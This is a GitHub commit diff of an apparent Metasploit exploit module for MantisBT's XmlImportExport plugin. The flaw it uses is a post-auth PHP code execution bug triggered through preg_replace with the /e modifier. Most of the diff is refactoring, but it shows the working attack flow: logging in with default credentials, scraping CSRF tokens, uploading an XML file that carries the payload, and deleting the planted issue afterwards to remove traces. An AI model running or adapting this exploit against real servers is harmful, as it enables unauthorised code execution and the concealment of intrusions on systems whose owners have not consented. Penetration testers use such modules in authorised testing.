Skip to content

Commit 7d6b6cb

Browse files
committed
some changes
1 parent 17032b1 commit 7d6b6cb

File tree

1 file changed

+37
-45
lines changed

1 file changed

+37
-45
lines changed

modules/exploits/multi/http/mantisbt_php_exec.rb

Lines changed: 37 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ def initialize(info = {})
1616
'Description' => %q{
1717
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
1818
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
19-
This allows a remote authenticated attacker to execute arbitrary PHP code in the remote machine.
19+
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
2020
},
2121
'License' => MSF_LICENSE,
2222
'Author' =>
@@ -38,7 +38,7 @@ def initialize(info = {})
3838
[
3939
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
4040
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
41-
OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
41+
OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
4242
], self.class)
4343
end
4444

@@ -53,49 +53,41 @@ def check
5353
end
5454

5555
def do_login()
56-
print_status("Checking access to MantisBT...")
56+
print_status('Checking access to MantisBT...')
5757
res = send_request_cgi({
5858
'method' => 'GET',
5959
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
6060
'vars_get' => {
61-
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
61+
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
6262
}
6363
})
6464

65-
unless res && res.code == 200
66-
print_error("Error accesing to MantisBT")
67-
return false
68-
end
65+
session_cookie = res.get_cookies
6966

70-
@cookies = res.get_cookies
67+
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200
7168

7269
print_status('Logging in...')
7370
res = send_request_cgi({
7471
'method' => 'POST',
7572
'uri' => normalize_uri(target_uri.path, 'login.php'),
76-
'cookie' => @cookies,
73+
'cookie' => session_cookie,
7774
'vars_post' => {
7875
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
7976
'username' => datastore['username'],
8077
'password' => datastore['password'],
81-
'secure_session' => 'on',
78+
'secure_session' => 'on'
8279
}
8380
})
8481

85-
unless res && res.code == 302
86-
print_error("Login failed")
87-
return false
88-
end
8982

90-
unless res.redirection.to_s !~ /login_page.php/
91-
print_error("Wrong credentials")
92-
fail_with(Failure::NoAccess)
93-
end
83+
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
84+
85+
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
9486

95-
@cookies = "#{ @cookies } #{ res.get_cookies }"
87+
"#{session_cookie} #{res.get_cookies}"
9688
end
9789

98-
def upload_xml(payload_b64, rand_text, is_check)
90+
def upload_xml(payload_b64, rand_text, cookies, is_check)
9991

10092
if is_check
10193
timeout = 20
@@ -105,34 +97,34 @@ def upload_xml(payload_b64, rand_text, is_check)
10597

10698
rand_num = Rex::Text.rand_text_numeric(1, 9)
10799

108-
print_status("Checking XmlImportExport plugin...")
100+
print_status('Checking XmlImportExport plugin...')
109101
res = send_request_cgi({
110102
'method' => 'GET',
111103
'uri' => normalize_uri(target_uri.path, 'plugin.php'),
112-
'cookie' => @cookies,
104+
'cookie' => cookies,
113105
'vars_get' => {
114-
'page' => 'XmlImportExport/import',
106+
'page' => 'XmlImportExport/import'
115107
}
116108
})
117109

118110
unless res && res.code == 200
119-
print_error("Error trying to access to XmlImportExport/import page...")
111+
print_error('Error trying to access XmlImportExport/import page...')
120112
return false
121113
end
122114

123115
# Retrieving CSRF token
124116
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
125117
csrf_token = Regexp.last_match[1]
126118
else
127-
print_error("Error trying to read CSRF token")
119+
print_error('Error trying to read CSRF token')
128120
return false
129121
end
130122

131123
# Retrieving default project id
132124
if res.body =~ /name="project_id" value="([0-9]+)"/
133125
project_id = Regexp.last_match[1]
134126
else
135-
print_error("Error trying to read project id")
127+
print_error('Error trying to read project id')
136128
return false
137129
end
138130

@@ -141,23 +133,23 @@ def upload_xml(payload_b64, rand_text, is_check)
141133
category_id = Regexp.last_match[1]
142134
category_name = Regexp.last_match[2]
143135
else
144-
print_error("Error trying to read default category")
136+
print_error('Error trying to read default category')
145137
return false
146138
end
147139

148140
# Retrieving default max file size
149141
if res.body =~ /name="max_file_size" value="([0-9]+)"/
150142
max_file_size = Regexp.last_match[1]
151143
else
152-
print_error("Error trying to read default max file size")
144+
print_error('Error trying to read default max file size')
153145
return false
154146
end
155147

156148
# Retrieving default step
157149
if res.body =~ /name="step" value="([0-9]+)"/
158150
step = Regexp.last_match[1]
159151
else
160-
print_error("Error trying to read default step value")
152+
print_error('Error trying to read default step value')
161153
return false
162154
end
163155

@@ -197,13 +189,13 @@ def upload_xml(payload_b64, rand_text, is_check)
197189
data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
198190
data_post = data.to_s
199191

200-
print_status("Sending payload...")
192+
print_status('Sending payload...')
201193
return send_request_cgi({
202194
'method' => 'POST',
203195
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
204-
'cookie' => @cookies,
196+
'cookie' => cookies,
205197
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
206-
'data' => data_post,
198+
'data' => data_post
207199
}, timeout)
208200
end
209201

@@ -220,37 +212,37 @@ def exec_php(php_code, is_check = false)
220212

221213
rand_text = Rex::Text.rand_text_alpha(5, 8)
222214

223-
do_login()
215+
cookies = do_login()
224216

225-
res_payload = upload_xml(payload_b64, rand_text, is_check)
217+
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
226218

227219
# When a meterpreter session is active, communication with the application is lost.
228220
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
229-
do_login()
221+
cookies = do_login()
230222

231-
print_status("Deleting the issue (#{ rand_text })...")
223+
print_status("Deleting issue (#{ rand_text })...")
232224
res = send_request_cgi({
233225
'method' => 'GET',
234226
'uri' => normalize_uri(target_uri.path, 'my_view_page.php'),
235-
'cookie' => @cookies,
227+
'cookie' => cookies
236228
})
237229

238230
unless res && res.code == 200
239-
print_error("Error trying to access to My View page")
231+
print_error('Error trying to access My View page')
240232
return false
241233
end
242234

243235
if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
244236
issue_id = Regexp.last_match[1]
245237
else
246-
print_error("Error trying to retrieve the issue id")
238+
print_error('Error trying to retrieve issue id')
247239
return false
248240
end
249241

250242
res = send_request_cgi({
251243
'method' => 'GET',
252244
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
253-
'cookie' => @cookies,
245+
'cookie' => cookies,
254246
'vars_get' => {
255247
'bug_arr[]' => issue_id,
256248
'action' => 'DELETE',
@@ -260,14 +252,14 @@ def exec_php(php_code, is_check = false)
260252
if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
261253
csrf_token = Regexp.last_match[1]
262254
else
263-
print_error("Error trying to retrieve CSRF token")
255+
print_error('Error trying to retrieve CSRF token')
264256
return false
265257
end
266258

267259
res = send_request_cgi({
268260
'method' => 'POST',
269261
'uri' => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
270-
'cookie' => @cookies,
262+
'cookie' => cookies,
271263
'vars_post' => {
272264
'bug_actiongroup_DELETE_token' => csrf_token,
273265
'bug_arr[]' => issue_id,
@@ -276,7 +268,7 @@ def exec_php(php_code, is_check = false)
276268
})
277269

278270
if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
279-
print_good("Issue number (#{ issue_id }) removed")
271+
print_status("Issue number (#{ issue_id }) removed")
280272
else
281273
print_error("Removing issue number (#{ issue_id }) has failed")
282274
return false
@@ -292,7 +284,7 @@ def exec_php(php_code, is_check = false)
292284

293285
def exploit
294286
unless exec_php(payload.encoded)
295-
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
287+
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
296288
end
297289
end
298290
end

0 commit comments

Comments
 (0)